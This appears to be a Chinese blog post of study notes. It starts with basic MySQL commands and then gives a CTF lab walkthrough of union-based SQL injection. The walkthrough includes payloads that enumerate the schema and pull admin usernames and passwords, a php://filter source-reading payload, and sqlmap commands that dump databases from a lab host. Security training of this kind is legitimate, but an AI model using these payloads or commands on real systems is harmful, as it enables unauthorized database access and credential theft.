Loading

MySQL初接触

MySQL注入

能力要求

  • 能够找寻到注入点
  • 能够判断后端数据库是什么类型
  • 能够绕过各种过滤

SQL语句

  1. 采用phpstudy搭建环境
  2. 进入phpstudy_pro\Extensions\MySQL5.7.26\bin
  3. 启动powershell
  4. 输入.\mysql -uroot -proot
  5. 成功连上数据库image-20210116102038377

查询语句

show databases;显示数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)

create database test;创建一个名为test的数据库

mysql> create database test;
Query OK, 1 row affected (0.00 sec)

use test;切换当前数据库为test

mysql> use test;
Database changed

create table users( id int(11), name varchar(255));创建一个名为users的表,其中具有两列,id和name

mysql> create table users( id int(11), name varchar(255));
Query OK, 0 rows affected (0.01 sec)

show tables;展示数据库中已有的表

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| users          |
+----------------+
1 row in set (0.00 sec)

desc users;展示表结构

mysql> desc users;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | YES  |     | NULL    |       |
| name  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

insert into users values(1,'ming'),(2,'MING');插入

mysql> insert into users values(1,'ming'),(2,'MING');
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

select * from users;查询所有数据

mysql> select * from users;
+------+------+
| id   | name |
+------+------+
|    1 | ming |
|    2 | MING |
+------+------+
2 rows in set (0.00 sec)

select * from users order by id desc;查询结果排序

mysql> select * from users order by id desc;
+------+------+
| id   | name |
+------+------+
|    2 | MING |
|    1 | ming |
+------+------+
2 rows in set (0.00 sec)

select * from users limit a offset b;b起始(计数从0开始)查询a行

mysql> select * from users limit 1 offset 0;
+------+------+
| id   | name |
+------+------+
|    1 | ming |
+------+------+
1 row in set (0.00 sec)

mysql> select * from users limit 1 offset 1;
+------+------+
| id   | name |
+------+------+
|    2 | MING |
+------+------+
1 row in set (0.00 sec)

修改语句

update users set name='mingzi' where id = 1;更新id为1的记录的name为mingzi

mysql> update users set name='mingzi' where id = 1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

delete from users where id=1;删除id为1的记录

mysql> select * from users;
+------+--------+
| id   | name   |
+------+--------+
|    1 | mingzi |
|    2 | MING   |
+------+--------+
2 rows in set (0.00 sec)

mysql> delete from users where id=1;
Query OK, 1 row affected (0.00 sec)

mysql> select * from users;
+------+------+
| id   | name |
+------+------+
|    2 | MING |
+------+------+
1 row in set (0.00 sec)

SQL注入漏洞

起源:开发者将外来参数拼接到SQL语句中

防御:

  • 对输入的参数过滤

  • 使用预编译语句,外来参数作为语句的参数传入

    BUU SQL COURSE 1

  1. 判断漏洞点

  2. union联合查询判断列数/backend/dontent_detail.php?id=0 union select 1image-20210116113546665说明列数不是1image-20210116113724688列数为2

  3. 查看已有数据库information_schema-->tables所有的表/clolumes所有的列

  4. /backend/content_detail.php?id=0 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA一行显示1,group_concatimage-20210116115650526查询出所有数据库名

  5. /backend/content_detail.php?id=0 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='news'image-20210116120116344admin表里应该有东西

  6. /backend/content_detail.php?id=0 union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='news' and TABLE_NAME='admin'查看数据表所带的列 两个限制条件image-20210116120452574存在三列

  7. 读管理员账号,密码

/backend/content_detail.php?id=0 union select 1,group_concat(username) from news.admin
/backend/content_detail.php?id=0 union select 1,group_concat(password) from news.adminimage-20210116120852926

PS

/?file=php://filiter/read=convert.base64-encode/resource=./index.php伪协议可以读出源码

解码之后可以在本地组出文件

二次注入:

在数据进入数据库的时候有转义,但当取出来转移回来之后再次拼接使用的时候没有转义/过滤,导致了语句被注入。

总结与思考

盲注

全自动工具SQLMAP

检查注入点

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1

爆破所有数据库信息

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 --dbs

爆破当前数据库信息

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 --curent-db

指定库名列出所有表

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -tables

指定库名表名列出所有字段

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -T 指定数据表名 --columns

指定库名表名字段dump出指定字段

sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -T 指定数据表名 -C 指定字段1,指定字段2,指定字段3 --dump

posted @ 2021-02-03 19:32  Geaming  阅读(76)  评论(0编辑  收藏  举报